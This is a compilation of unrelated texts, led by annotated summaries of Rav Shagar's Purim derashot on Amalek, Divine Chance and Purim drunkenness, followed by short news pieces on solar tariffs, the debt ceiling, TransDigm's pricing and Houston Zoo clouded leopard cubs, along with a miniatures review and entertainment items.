The midrash sees no difference between the remembrance of Amalek and Shabbat other than fullness, meaningfulness, as opposed to emptiness. These flow from a lack of knowledge, from that which cannot be known. But this itself can bring a person to self-acceptance (קבלת העצמי). [Self-acceptance is an important theme in Rav Shagar’s writings, one which will come up in a later derashah in these summaries.]
The difference is essentially about memory. Memory is the Divine eternity; things pass out of this world but exist there forever. There, Amalek exists as a conspicuous absence, while Shabbat is a Divine fullness.
This difference exists beyond the world, beyond thought and reason, accessible by the drinking of Purim.
The Knowing That Doesn’t Know
Chance, Fate, Providence, and Divine Chance are four ways of reading the Megillah, with different parts lending themselves to the different hermeneutics. This is the essential war of Amalek and Bnei Yisrael, over the question of God’s control of the world. Chance is about possibility. It could be any which way. Fate is about necessity. It could not be any other way. Fate receives its sense of arbitrariness by virtue of having no reason. Thus is the Divine Will. Providence is well reasoned, coming not from the Divine Will but from the Divine Wisdom. Divine Chance comes from the Divine Infinitude, beyond all possible reason, where the possible becomes essential. Fate is God’s Will, Providence from God’s Wisdom; Beyond and combining both is the knowing that doesn’t know. This is Divine Chance as a form of providence, the ultimate defeat of Amalek, who strive to create Chance the possible. In the Divine Infinite, the monistic reality, the possible becomes the essential, Will and Wisdom are united, there is no separation between chance and providence.
There is thus no meaning to the question of why something is the way it is. Everything exists as it is, without any external, transcendent, justification or cause, simply out of the Divine Freedom. A person can reach this level in drunkenness, beyond the human realm of reason and justification. Accepting the chance of the Divine Source, the unknown which is not an absence.
[To some degree, when working with a Kabbalistic concept of the Divine Infinite, any and all ideas like “wisdom”, “providence,” “good,” are limiting factors, attempts to work within a very specific, very human, framework. The Divine Infinite includes this framework, perhaps, but it is so much more than this framework, and thus it must, by definition, manifest as “chance,” as that which cannot be fit into the normal framework.]
Amalek as the Will to Power
Haman attempted a Nietzschean reach into the infinitude that precedes the Good/Evil binary by way of the casting lots. Thus there is a parallel “Haman of Holiness” (המן דקדושה), reaching beyond current structures and values of Judaism into the infinitude for the sake of innovation/renewal (חידוש). [All this so far is based on various writings of the Baal HaTanya.]
Eradicating Amalek is the ultimate realization of the subject-self of Israel [Rav Hutner]. This is very similar to the making ultimate of the self that Haman was negatively attempting. The difference is the subject’s position in regards to God. For Haman, the self essentially replaces God as Ultimate; With the eradication of Amalek, Israel remains humble before God, though the Haman of Holiness goes further than that.
[I’m not convinced the combination of Rav Hutner and the Baal HaTanya works as Rav Shagar clearly thought it did.]
The Mystery of Disguise
Yaakov had to deceive Yitzchak because the only way to succeed in this world, the World of Falsehood (עלמא דשקרא), is through deception [Rav Tsadok]. Thus Yaakov disguised himself as Esav. However, Esav disguised himself as the Yaakov, the man of the bet midrash, by asking his father about halakhic minutia [Midrash Tanhuma]. Esav’s disguise is not a conscious one, however. He is not intentionally deceiving his father so much as being inauthentic to himself. When Yaakov disguises himself as Esav, he is knowingly embracing inauthentic religiosity, as participating in a shared religious discourse, in a shared set of rituals, in the only way to function and be understood in this world.
[This represents a turn from many of Rav Shagar’s other writings which have a strong emphasis on personal truth and authenticity. It suggests that this derashah may be from his later, more postmodern, thought. He seems to have become more caught up in and embraced the way we can never really succeed in becoming unreflective, always living in alienation from ourselves. But as these derashot are not dated, it’s hard to know definitively.]
Drinking on Purim conveys the Divine abundance to the negative aspects of reality (סטרא אחרא), in an intentionally minor and unconscious way [Arizal]. It does this by connecting us to the a-logical Divine infinitude where Good/Bad is meaningless.
Whereas Yom Kippur (יום הכיפורים) is an attempt to escape this world into the Infinite, Purim (פורים) is an attempt to live with the Infinite in this world. That’s why Purim is the holier day and Yom Kippur is only “like Purim” (כפורים).
Bnei Yisrael are inherently finite, as are all things including the Torah, but the God will sustain Bnei Yisrael infinitely. That is why the lot fell on Adar, which as the last month of the year signifies transience and finitude, which is why Haman thought he could destroy the Jews. Hence the only Purim and Yom Kippur, which point to finitude, will remain in the messianic era [Based on the Maharal]. All senses of Good/Evil, all rites and ritual structures are just constructs of a certain historical period. On Purim we live outside of history via carnivalesque drinking and behavior.
[The shared concept in all of these sections is that the world of our experience and cognition is a very limited construct, especially when held up against the Divine Infinite. Within that framework, everything necessarily functions according to rules and languages, systems of signifiers that do not apply beyond the realm of our experience and cognition. Living with an awareness of this is the experience of Yaakov Avinu as described in the first piece. The next two focus on Purim as time of somehow experiencing this unlimitedness within the bounds of our world. The last piece applies this idea to the realm of history, and says that the world of our experience, guided by the laws and languages of the Torah, only exists within certain historical bounds, beyond which it simply does not apply.]
They Accepted it Anew in the Days of Aḥashverosh
The Torah was forced on the Jews at Har Sinai, creating an internal, oedipal, process where a person is bound to the Torah even as, or even by virtue of the fact that, they rebel against it [Based on the Maharal]. The Torah could not have been given otherwise, due to the alienation and reflective duality that have characterized humanity since the primordial sin, where rebellious transgression shattered the unselfconscious unity humanity lived in. This state will only be overcome in the Messianic Era, not by a return to the unselfconscious state but to a state that maintains both the reflective duality and the unselfconscious unity [based on Rav Simha Bunim of Peshischa]. The Torah will be revealed as the very nature and will of humanity. We can experience this state here and now through the drunkenness of Purim.
The Composition of the Megillah and the Redemption of Purim
The megillah is something between Written and Oral Torah. Its inclusion in the written canon was dreaminess and justified via a derashah, the classic mechanism of the Oral Torah. Meanwhile, the megillah text becomes a source for derashot and has halakhic rules regarding שירטוט and תפירה, similar to a Torah scroll. It, of all post-Mosaic prophecy, will outlast this historical period into the Messianic Era. [Each of these points is based on a different midrash or halakhic source.]
“Esther is the end of all miracles.” Specifically, those miracles that have the absoluteness and objectivity that requires being written down. Writing is confined to the realm of the signifier, the absolute and concrete. Speech gives the audience access to the speaker, the subjective signified.
Olam HaZeh, the period when Amalek reigns, is characterized by a dissonance between the concrete world and the hidden Divine. Thus the defeat of Amalek in Megillat Esther is the revelation that what seems like Chance is actually Divine decree, or, on a higher level, Divine Chance. This is the absolute redemption. This is the manifestation of the Absolute Aught, beyond the Naught that bounds the Aught.
This is achieve when faith, normally subjective, becomes objectified in the faith of the other. When you believe in the freedom of the other, qua subject, you can have a conversation. This conversation allows for the presence of the Absolute Aught, the true subject, from beyond the Naught of the transcendence of the subject. This becomes objectified by the other as alienated, concrete, signification.
[I would connect this to Michael Wyschogrod’s critique of Martin Buber in The Body of Faith. Buber sees God as the Eternal Thou, always a subject and never an object. Wyschogrod argues that being real and present requires have a personality, a describable aspect. It requires being at times not a subject, but an object.
On a practical level, this would seemingly look like accepting the fact that you are, in whatever way, an object, not just a subject. “Accepting the self” in this sense is actually a broad and important theme throughout Rav Shagar’s writings.
However, all of this makes sense as an explanation of the idea as it shows up here. In a separata derashah, “Epilogue – Faith: Aught or Naught?”, the idea is more clearly laid out as being about intersubjectivity. See the note there for more.]
So too the Megillah becomes an object via the attention of the Sages, turning from speech to text due to the gaze of the other.
[In an intersubjective sense, the Sages took it to be objectively true that the Megillah was a part of the canon and should be written down, and thus it was so for them.]
Openness to the other is beyond thought and reason, and is achieved in the drunkenness of Purim.
Sparks of Fire – The Joy of Purim
The essence of Purim is reversal. “ונהפוך הוא.” “סופן נפוץ בתחילתן.” The joy of Purim is not the absence of sadness but occurs in the presence of it specifically. Whereas the joy of the Holidays is based on transcendent meaning and life-fulfillment, the joy of Purim is based on the Divine Infinite, which is beyond the created order, and this is often manifest in pessimism and in hard time. In fact, the highest infinite Divine is beyond such categories, and specifically is revealed in that which ignores and violates normal religious expectations. Hence the Megillah represents the highest level of the Divine, even though it ends with the Jews as subject of Aḥashverosh and it does not contain Divine names because Divine names are part of the normal symbolic order of Divine manifestation and Jewish victory is the normal Divine manifestation in History. The ecstasy of Purim flows from the recognition of the conditional nature of all our normal conceptions, nullifies before the Divine. This ecstasy is beyond both order and chaos, both “הדר קבלוה” and “עד דלא ידע.”
Breslav-Style Derashot
[These next three derashot are in various ways based on Rav Shagar’s deep relationship with the texts of Rebbe Nahman of Breslav. The first is an explication of “The Story of the Palace,” Rebbe Nahman’s version of a parable that, as Rav Shagar points out, is found in Arabian Nights. The second is a “purim-torah” that is written in the style of Lekutei Moharan, and is clearly humorous while simultaneous teaching ideas similar to those found throughout the other derashot. The third is a story in the style of Rabbe Nahman’s stories, but composed by Rav Shagar himself.]
The Story of the Palace – The Joke as Nullification of the Aught
[This is just Rav Shagar’s explanation of the story, not the story itself.]
“Eros and Thanatos walk hand in hand.”In “The Story of The Palace” (סיפור הפלטין) the hero mimics what he is supposed to do, in place of actually doing it, and yet is rewarded as if he had done it properly. This is in contrast to the original ending of the story where the hero was rewarded with imitation money, a fitting recompense. Rebbe Nahman saw himself as a failed tsadik, a clown and a fake. The task recognizes the falsity in his existence, and in being conscious of this expresses the Divine. Never is this more true than in the fictitious tsadik. Recognizing the fake, false, nature of institutional religion is the nullification of the Aught (ביטול היש) that is inherent in humor and jokes. This עבודה is not simple or easy, however, which is why the joker gets paid as much as the hard worker, as his work is at least as hard. [Rav Shagar makes a similar point about the difficulty of truly accepting the fictitious nature of your self/reality in an essay on Rav Tsadok’s approach to Teshuva in his book “שובי נפשי.”]
“Give Liquor to the Perishing, and Wine to the Bitter-hearted.” – Purim “Torah”
[This jumble of sources and verses who’s off not just Rav Shagar’s breadth of knowledge and familiarity with Rav Nahman’s style, but also his creativity in the linguistic play of connecting the various sources and ideas.
What follows is my own understanding of what is going on behind the various connections and ideas, many of which are far from explicit.]
The absence of God in suffering (ייסורים), Naught, is found in pulling away from Torah (ביטול תורה), which paradoxically is keeping it (ביטולה היא קיומה). This is the incredibly high level where you merit freedom (חירות/חופש). This level of Naught is when the Torah is hidden (מוסתר), creating the situation for the revelation of the mysteries of Torah (סתרי תורה). When Yaakov dressed as Esav, this was the hiddenness of the mysteries of Torah. This disguising (התחפשות) lays Esav bare (נחשף) while freeing (חופש)Yaakov. This was the sin of Bnei Yisrael at the Golden Calf, with which they covered (מסכה) themselves, “hiding” from God. The correction (תיקון) for this was the Keruvim whose wings cover, hide, the Torah, just as Amalek is a wing covering God’s presence. All this is the עבודה of the אובד ה׳, who serves God without intellect, via ביטול תורה.
A Story of Aught and Naught that were Reversed
[This is another piece that shows off Rav Shagar’s averseness in the style of Rebbe Nahman and the sources of the Jewish tradition. Here it is in the style of Rebbe Nahman’s stories, and thus my interpretation, which follows, is somewhat tentative.]
A unified consciousness exists until it is suggested that things could be different. This creates alienation and estrangement. A person attempts to overcome this by empty praxis, by wholeheartedly devoting themselves to a totally external, heteronomous, identity, hoping that it turns out to be who they are. As a rule, this does not work. But sometimes, in a moment of unselfconsciousness, the praxis becomes a revelation of the inner self. “אור דאבא שמאיר לנוקבא.”
Epilogue – Faith: Aught or Naught?
The Hasidic reading of “היש ה׳ בקרבנו אם אין?” is that the Israelites were asking if there faith was on the level of Aught or Naught. Naught means totally subjective faith, which maintains the subject/object divide that is represented by Amalek. It is conscious of the conditioned nature of existence, bounded by Naught. In the Naught, everything is possible, including faith.
Above the Naught is the Absolute Aught. This is formed by dialogue,by “intersubjectivity.” Faith in the Faith of the Other provides both subjects with objective status. Only thus is Amalek overcome.
[Rav Shagar here essentially goes over the concluding idea of the essay “The Composition of the Megillah and the Redemption of Purim,” but he adds a twist that was unmentioned in that essay (unfortunately, this collection of derashot does not include the original dates of the individual derashot, so it’s impossible to tell if the change is due to an actual change in Rav Shagar’s thought or if the two derashot should be understood in light of each other). Here, Rav Shagar chalks the newly-acquired objective status to “intersubjectivity.” This is a term from Phenomenology that essentially refers to when two or more individuals take something to be objective within a certain framework. “We take these truths to be self evident..” So starts the US constitution. In those words, the authors laid down the rules for US civil discourse, wherein the ideas that follow that opening are taken to be objectively true, regardless of their status outside that discourse. So too in a conversation between two individuals, the fact of each of the individuals existing as a free subject capable of thought and belief is taken, at least implicitly, to be objectively true, otherwise the conversation isn’t really happening.]
She’arit Emunah
[This is one of the most recent collections of Rav Shagar’s derashot to be published, with derashot for all of the holidays of the year. Below is a summary of the derashah for Purim.]
The Jest of the Megillah
[This derashah was given in the wake of the decision to unilaterally disengage from the Gaza Strip, and Rav Shagar references current events not just throughout the footnotes, but also in the body of the derashah itself, in the conclusion of the appendix.]
The Megillah is a book of satire and parody, aimed at Aḥashverosh more than at Haman, and most especially at Law. Aḥashverosh gets legal advisors to resolve a marital spat, and enacts a totally pointless law in the process. The dark absurdity of the parody is present in the way everyone follows along with the law, no matter how evil. The parody comes from despair. The ability to laugh at all this flows not from the salvation but from the way God is seen to be in control. This does not erase the very real human experience of fear and suffering, however; it ultimately only heightens its absurdity. This is the בטחון that doesn’t assume that everything will go well, in fact often the opposite, God’s Will is not logical and human expectations are meaningless in relation to it. The reason-less Divine Will is met by a similarly reason-less human response. “ככה”.
Appendix: The Law and the Jew
Aḥashverosh’s servants are bothered by the fact that Mordechai is a Jew, because Jews are beholden to a different law and authority, and thus undermine the law. This is the root of anti-Semitism. Mordechai participates in the law and saves the life of the sovereign, but he also refuses to bow to Haman, directly violating the law of the King. This is disloyal loyalty. he’s not simply a lawbreaker. So too Esther, who is generally obedient, but comes before the king in violation of the Law. Vashti, in contrast, is simply a lawbreaker. This is why Haman made a law to kill all of the Jews instead of just executing Mordechai. The law fights via legislation. the Megillah thus reveals the violence inherent in the absolute nature of legislation. It is self-justifying. It must be followed by virtue of its existence, simply because it is the law. Legislation is a more egregious act of violence than breaking the law.
[The raw pathos exposed here is quite telling regarding the Religious Zionist community writ large. Rav Shagar was probably towards the left end of the RZ political spectrum in his lifetime, and yet the last few sentences could have been written by the “hilltop youth” of our own day. This is a community (who feel) ravaged and betrayed by their government. Despite this, Rav Shagar’s responses to the disengagement, found throughout his writings from the period, display a vastly different response than many parts of the RZ community today. This contrast is damning, as it highlights that the more morally questionable responses are in no way unavoidable for the responsible individuals.]
A Time of Freedom
[This is the book of Rav Shagar’s derashot and essays for Pesaḥ, but the below essay discusses Purim as well.]
“Engraved on the Tablets” – Between Purim and Pesaḥ
Pesaḥ celebrates the time when we were freed from egypt, and as such raises all kinds of important questions about freedom.
Sartre presents the problem of freedom as twofold: 1. There is no essential nature. A person most often is mindless. 2. “Man is sentenced to liberty.” Man must choose, but has no way to do that, given the constructed or conditional nature of all values. All man can do is flip a coin.
Rav Kook saw Freedom as returning to one’s essential self. Freedom as the ability to live according to internal, existential truth. It’s a function of identity, of who you are.
Rav Kook can actually be read as supporting a Sartrean freedom to create your own identity. You have an identity but you have the freedom to choose it or not. This is the real meaning of Brit and Devotion. This makes the Brit less the traumatic thing you’re born into and instead something you choose wholeheartedly, by choosing to identify with that which is already your identity. This ability creates true happiness and meaning.
[The footnotes point out that Rav Shagar explains Rav Kook differently in his essay on conceptions of Freedom that appears in Kelim Shevurim and then in an updated form in Luḥot U’Shivrei HaLuḥot. I think the reading here is a little forced. Rav Kook had a very strong concept of the inner essence of a person.]
It’s possible this is what Rebbe Nahman alludes to in a clipped and cryptic passage: Pesaḥ represents freedom as the ability to express our essential selves. Purim represents the freedom to choose our selves. Thus Purim is a necessary step on the road to Pesaḥ.
[Rav Shagar does not clarify the connection to Purim, but presumably this is related to one or both of two things: 1. The wearing of costumes on Purim may be taken to symbolize the ability of choose/craft and embrace a new identity. 2. Many of Rav Shagar’s derashot on Purim have a focus on the ability to get beyond the current construct, the framework we are currently working from within, into the Divine Infinite, and from there to see the possibilities of, and perhaps even to create, a new framework.
Meanwhile, Pesah occupies a very clear spot in Rav Shagar’s thought as a moment of the transferring and engendering of tradition. It’s a time when families gather together to participate in tradition, to discuss and create their link to the past and the future. It is serving in this derashah to symbolize the ability to accept one’s inner essence, which one has inherited from their surroundings and family, and to express freedom from within that framework.]
The vote by the U.S. International Trade Commission is a major milestone in a case that has divided the solar industry for the last six months. The panel’s proposals, which could include tariffs, a quota or other trade remedies, will be delivered to President Donald Trump, who will make a final decision later this year.
Trade remedies were requested earlier this year by two small U.S. manufacturers that say they are not able to compete with cheap panels made overseas, mainly in Asia.
But fears of steep new tariffs on imports have sparked widespread nervousness among solar developers and installers that have benefited from a 70 percent drop in the cost of solar since 2010. Many snapped up panels ahead of the ITC’s vote and warned that some projects may not be completed if the cost of panels rises too much.
The ITC made a preliminary finding on Sept. 22 that domestic solar manufacturers had been harmed by cheap imports after the complaint brought by bankrupt Georgia-based producer Suniva Inc in April.
Solar installation companies are hoping the commission will recommend a small tariff, or none at all.
“This tells you what’s going to land on the president’s desk, though there is a fair amount of unpredictability here given that the president has wide leeway and this president is pretty unpredictable in general,” said Shayle Kann, head of solar market research firm GTM Research.
Suniva filed the rare Section 201 petition nine days after seeking Chapter 11 bankruptcy protection. In the petition, the company said a global glut of panels has depressed prices and made it difficult for American producers to compete.
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Suniva’s petition is opposed by the Solar Energy Industries Association, the sector’s primary trade organization.
Suniva is majority owned by Hong Kong-based Shunfeng International Clean Energy. It was joined in the petition by another domestic manufacturer, the U.S. division of Germany’s SolarWorld.
I give it four stars because although it is a good deal, it isn't quite beginner friendly, especially if you haven't put together miniatures in the past. An instruction booklet would've been great for that reason. Superglue, small files, and cutting pliers are recommended tools to have around for this set.
Now I've been collecting and painting mini's for some time now, though mostly the pewter variety, but enough plastics to know some tricks to get them looking nice. When you inspect the pieces, you're gonna encounter some bowed pieces. This can be easily fixed with a blow dryer on high, that way you can soften the pieces and get them looking proper.
There's minimal filing that you'll need to do to clean those lines, but Privateer Press has always had very clean sculpts so this is of little concern. Something I like to do is use a heat gun and pass over the mini a few times, which will eliminate tiny burs from filing. Just be careful not to melt the mini! A two seconds will do the trick. The plastic is pretty sturdy, and superglue does the trick for them. I'd suggest using Testors or some wargaming primer. Formula P3 paints are great to have, but I mostly roll with Vallejo Model Color when it comes to miniatures painting
I was fortunate enough to watch the video when it was broadcast by the German television channel ZDF in 2011, and provide a review and thoughts on the programme – which is perhaps the most comprehensive, watchable and intimate look at people’s virtual lives which has been produced.
Now everyone has the chance to see what makes this programme so very special – as it is (for the time being at least) now available on YouTube.
If you didn’t get to see Login2life back in 2011, I really cannot recommend that you take 85-90 minutes of you time to sit down and watch it. It really is worthwhile.
I was informed about it’s appearance by a little birdie at the weekend (and my apologies to said birdie for not blogging sooner on the matter – I’ve not been entirely on-the-ball the last week for a range of reasons).
Anyway, here is the video and for those who wish to know more, Daniel Moshel has a very short Q&A video dating from November 2009, addressing questions raised by ZDF back when, if I understand things correctly, they were still in the early phases of mulling over broadcasting the film.
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Run The Jewels have been signed up to present their own show on Apple Music’s new radio station Beats 1.
The hip-hop duo are making their debut on the station with ‘WRTJ’ tonight (July 3) and will continue hosting the slot every Friday.
El-P and Killer Mike previewed tonight’s show via Instagram, with a clip in which the pair discuss the merits of unicorns vs. dragons. You can watch the pair below.
#WRTJ A video posted by thereallyrealelp (@thereallyrealelp) on Jul 3, 2015 at 7:31am PDT
Zane Lowe launched Beats 1 earlier this week by by playing the song ‘City’ by Manchester band Spring King.
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Speaking about the track during his new show, Lowe said that he and his team had spent a lot of time debating what to play first but decided to go with the new band as they are “building” momentum in the same way he and the team are.
“We spent three months building this radio station and now we can build no more,” Lowe said. “This band put this EP out a few months ago… it’s not about fanfare, fireworks and hangover the next day, it’s about quality and consistency… from now on, we’re always on.”
After Spring King, Lowe went on to play Beck’s new single ‘Dreams’, ‘Shutdown’ by Skepta and ‘Gosh’ by Jamie xx.
Meanwhile, Run The Jewels rapper Killer Mike recently expressed his political ambitions, revealing that he intends to run for a seat in the US House of Representatives in the future.
Privately, House Republicans have been driving home the message that a failure to increase the debt ceiling would be a disaster. Sources said Boehner has been "aggressive," in one aide's words, in articulating the need to reach a deal. In a presentation to the House Republican Conference on Friday, Jay Powell, a former Under Secretary at the Treasury Department under George H.W. Bush and a visiting scholar at the Bipartisan Policy Center, laid out just what would happen if a deal isn't reached.
On August 3, according to Powell's presentation, the federal government would be on the hook for $32 billion in committed spending, including $23 billion in Social Security checks, $500 million in federal worker salaries, $1.4 billion owed to Defense Department vendors and $100 million in refunds the IRS owes to businesses. On the same day, the government will take in only $12 billion in revenue, giving the government a $20 billion cash deficit. By August 15, when the federal government is on the hook for a $29 billion interest payment, the cash shortfall will have grown to $74 billion--and possibly more, if interest rates on U.S. debt rises.
The presentation, according to several sources in the room at the time, was aimed at conveying the seriousness of the moment. Recent warnings from Moody's and Standard & Poor's that they could downgrade the nation's debt have underscored the danger a default poses. It's a message Republicans on both sides of Capitol Hill have been trying to drive home to their members.
"There are serious repercussions for the country if the debt limit is not raised and it's important that members have information on what we may be facing. The aim is not to scare anyone but the facts are frightening," said a top Senate Republican aide. But Republican leadership's task is far more complicated than simply convincing their members to vote one way or another. Instead, they must convince those members they are getting a good deal, which, given the slow pace of negotiations, is not a saleable pitch right now. "It would be a mistake to believe that any of our leaders will support a deal that is insufficiently aggressive on debt reduction or one that raises taxes," the House Republican aide said.
Turns out, the addictive ABC Family drama plans to stick with (to some degree) the shocking notion that — SPOILER ALERT — Ezra is ‘A’!
“I assure you that there is something going on here with Ezra,” Liars executive producer Oliver Goldstick tells TVLine exclusively.
But that’s only just the tip of the iceberg. Here, Goldstick discusses surprising details about the Rosewood fave’s “double life,” how this twist will put Aria (among others) in danger and much, much more.
TVLINE | I’ve got to be honest with you, I feel like this is the same situation I was in a year ago with you right after the big “Toby is ‘A'” reveal…
You’re not. I promise you you’re not. I assure you that there is something going on here with Ezra. There is something very real going on here. I can’t give you too much information, but I can tell you it plays out quite beautifully in Season 4B. And Aria’s in danger — well, they all are, but Aria in particular.
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TVLINE | So, are you confirming that this is not a red herring?
Yes, there is something that is about to be exposed and revealed in 4B. I guess what I’m saying is that this is going to escalate and be more explosive and mind-blowing.
TVLINE | And this all begins in Season 4B or before that in the Halloween special?
Because of the nature of the Halloween episode, the mystery of [Ezra] doesn’t move forward that much; it’s a standalone episode… As far as the explosive revelation of last night, it builds on that without giving you explanations. It builds on Ezra’s culpability of being ‘A,’ but it doesn’t explain a lot of questions you’ll have as an audience. You have to wait for 4B for that.
TVLINE | Should we have come away from the finale with the idea that Ezra is ‘A’ or is on Team ‘A’?
I can’t give that away, I will just say you’re really in hot territory and very close.
TVLINE | For me, this all could make sense because ‘A’ began his or her torment once Ezra came to Rosewood. What doesn’t make sense though is how decent he’s been and how much he’s loved Aria.
I hear you and we can answer that in an emotionally satisfying way. Everybody here is very aware of that, too, because this is a relationship that’s deeply romantic. They’re soulmates, and we’ve invested so much into them. We’re going to be able to explain some things to you.
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TVLINE | ‘Ezria’ has been touted as “endgame” since Day 1, so what can you say about that now? It seems this will definitely impact that–
Oh, it impacts it — in a big way! [Laughs] Not right away, but you’ll stand by and say, “Gee golly, gee whiz, what is going on?! How can this person be living a double life?” What you’re really going to find out is this whole Jekyll-and-Hyde factor about Ezra — it’s going to blow your mind.
TVLINE | Talk about the evolution of the idea to go in this direction with Ezra.
We knew from the beginning of this season. When Ezra and Aria weren’t together, we sort of tracked and mapped them as a couple — he’s basically microchipped like a dog! He’s had it since we started the show. So, we know where he’s been, and it’s not always a good place. Sometimes he’s eaten out of a dumpster! [Laughs] We really have tracked this.
TVLINE | Are the fans who have gone back and tracked why Ezra is ‘A’ onto something?
That I can emphatically answer: Yes! That is not bull; those things have been planted. We were subtly putting things in and you can track them, and hopefully in 4B you’ll be able to help us solve this puzzle.
TVLINE | Since Aria won’t be in on Ezra’s secret immediately, what does this mean for them as a couple in 4B? Also, what does this mean for Jake?
Jake is returning, and it’ll be very complicated. We know he cares for her and she cares for him, and more than anything, he’s concerned for her welfare because when they met, she was under duress… So her duress escalates in 4B, and he wants desperately to protect her, but she won’t let him — because she’s got Ezra, right?! [Laughs]
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TVLINE | According to Mrs. Grunwald, Alison is alive. Was that meant to be a definitive reveal to the audience?
Not definitive, just a suggestion from someone who had dealings with her on that night…
TVLINE | Will the girls be on a mission to find Ali moving forward?
Yes…
TVLINE | What can you say about the identity of a second Red Coat?
That is indeed still an issue. People have come to the conclusion that there has to be more than one person; there has to be an ‘A’ team, ultimately. But we’re not saying that’s necessarily true either, it’s just a very valid theory.
TVLINE | Talk a little about what happens, once Caleb is in Ravenswood, to keep him there permanently.
At the end of the Halloween episode, there’s a twist that provides a compelling reason for Caleb to at least stay there temporarily to explore what the hell something is. It pertains to him; it’s not about Alison or Hanna.
TVLINE | What else can you tease about the Halloween special?
The Canterbury District Health Board's Appetite for Life programme has been available to women with health problems from unhealthy lifestyles for six years.
The course was recommended to Don Rowlands, 62, by his doctor after he was diagnosed with dangerously high blood pressure and told he needed to lose weight.
However, he was told by the health board that men were not eligible for the programme. Rowlands complained to the Human Rights Commission, and the dispute went to mediation.
He participated in a pilot programme the board ran for men between May and June, which he said was "very positive". His blood pressure was now at a normal level, and he had felt better since his lifestyle change.
"It's great to do that with a group of men. You often learn a lot by listening to other people's stories. We shared a meal every night and it was fun," he said.
CDHB planning and funding general manager Carolyn Gullery said a course for men was being designed as part of the board's long-term goals, not because of complaints to the Human Rights Commission.
"With all the disruption caused by the earthquakes, planning for designing the men's course was delayed, but we are now back on track and looking forward to delivering the programme once it's been designed," Gullery said.
It was better to have separate courses for men and women because they "have different health needs".
It was a particularly sensitive subject for new Office of Management and Budget Director Mick Mulvaney, who built a reputation during his tenure in Congress as a serious deficit hawk unafraid to challenge his Republican colleagues on ballooning war spending. One of his favorite punching bags was the Overseas Contingency Operations budget, which Mulvaney derided as “a slush fund” that should be eliminated. The Trump budget would increase both overall defense spending and the amount that flows to the OCO. To maintain his credibility and demonstrate that Trump’s new “hard power” defense priorities weren’t just an excuse to throw money away, Mulvaney needed to sniff out wasteful endeavors.
He appears to have missed at least one. On Tuesday, Rep. Ro Khanna (D-Calif.) sent a letter to Secretary of Defense James Mattis and the Pentagon’s acting inspector general accusing defense contractor TransDigm Group of illegally overcharging the Department of Defense by acting as a “hidden monopolist.”
The business model Khanna described is devilishly clever, wildly profitable and totally at odds with the basic principles of a competitive market. TransDigm is essentially the Martin Shkreli of defense contractors. It’s a large holding company that searches for specialty parts used in heavy machinery ― unique panels, connectors, cables and other components ― that are produced exclusively by a single company. TransDigm buys these producers and Pharma Bros them, dramatically inflating the price to exploit their monopoly.
Bloomberg via Getty Images Rep. Ro Khanna (D-Calif.) cited examples of TransDigm price hikes, including a cable assembly that went from $1,737 to $7,863 and a motor rotor that had been $654 now going for $5,474.
Khanna’s letter cited five specific aerospace parts the company had jacked the price on, including a “cable assembly” that went from $1,737.03 to $7,863.00 after being acquired by TransDigm. The price of a TransDigm “motor rotor” soared from $654.46 to $5,474.00.
But the practice is widespread throughout TransDigm. The company’s own filings with the Securities and Exchange Commission state that 80 percent of its sales come from parts for which TransDigm believes itself to be a monopolist.
Not all of the company’s parts even work. In 2016, The Washington Post reported that drones were crashing due to faulty starter-generators supplied by a TransDigm subsidiary.
“The president is asking for $54 billion more on defense,” Khanna told The Huffington Post. “How much money are we wasting on monopolistic behavior?”
The Pentagon has rules designed to defend itself against predatory pricing. Companies that function as the sole vendors of supplies have to detail their costs to the government, which allows the firms to reap a reasonable profit margin over and above these expenses. But Khanna’s letter argued that TransDigm evaded these rules by setting up “a network of captive distributors” ― middlemen who sold to the government, creating the illusion of an actual competitive market.
“TransDigm isn’t a business, it’s the abuse of monopoly power so extreme it borders on performance art,” according to Matthew Stoller, a fellow with the New America Foundation’s Open Markets division. “Congress should investigate this aggressively.”
No less than 12 TransDigm subsidiaries failed to disclose to the Defense Department in their procurement filings that they were owned by TransDigm, according to Khanna.
TransDigm did not respond to requests for comment. The company’s chief executive, W. Nicholas Howley, received $18.7 million in 2016 ― more than the chief executives of Apple, Boeing or Citigroup.
Khanna’s interest in the TransDigm case reflects a broader concern in Washington over concentrated economic power. In early March, the Center for American Progress hosted a forum on Trump’s Supreme Court nominee, Neil Gorsuch, focused on his antitrust record. Tom Perriello, the leading Democrat vying for the Virginia governorship this year, has made tackling monopolies a central plank in his economic platform. And outrage over EpiPen price hikes and Big Pharma monopolies have stained the reputations of popular Democratic Party politicians, including Sen. Cory Booker (D-N.J.).
Khanna didn’t discover the TransDigm mess on his own. He was tipped off by a trade newsletter called The Capitol Forum, headed by Executive Editor Teddy Downey. The Capitol Forum isn’t a household name and doesn’t generate massive internet traffic, but it wields significant influence due to its subscriber base of lawyers, investors and federal employees interested in its technical dispatches detailing fraud and abuse.
“To what extent are they hiding that TransDigm is selling these parts through layers of distributors?” Downey said. “That’s where I think the policy problem is.”
The two fabulously adorable clouded leopard cubs were born at the zoo on June 6. They are not on public show yet but the two boys have been named Koshi and Senja. The two fabulously adorable clouded leopard cubs were born at the zoo on June 6. They are not on public show yet but the two boys have been named Koshi and Senja. Photo: Stephanie Adams, Houston Zoo/Stephanie Adams Photo: Stephanie Adams, Houston Zoo/Stephanie Adams Image 1 of / 67 Caption Close Houston's rare clouded leopard cubs can't get any cuter 1 / 67 Back to Gallery
Houston Zoo has released new photos of two rare clouded leopard cubs born earlier this year and they seriously could not be any cuter.
The two males, named Koshi and Senja appear to be living the good life, rough-housing with each other and a giant stuffed toy.
At just two and half months old the cubs are still too young to be out on show with the public, according to the zoo, who say they still have a couple of vaccinations left before they make their debut. Earlier this year the zoo put out video of them being fed in the zoo nursery.
Kashi and Senja are the first clouded leopards ever born at the Houston Zoo, parents Suksn and Tarak have been residents since 2012.
Zoo veterinary staff hand-reared the cubs away from their parents saying that is the practice with all clouded leopards born in captivity.
In a news release the zoo said the species is so rare it is important to do everything possible to ensure the health and well-being of every clouded leopard "born in the care of man."
Wild clouded leopards live in Central and Southeast Asia in an area ranging from the foothills of the Himalayas down the islands of Sumatra and Borneo, according to the zoo.
They are the smallest of the world's large cats and are famous for being able to run up trees, then rotate their ankles and run back down head first.
The species has become endangered because of habitat destruction and poaching for their distinctive fur. Some in Asia also try to keep them as pets, according to the zoo.
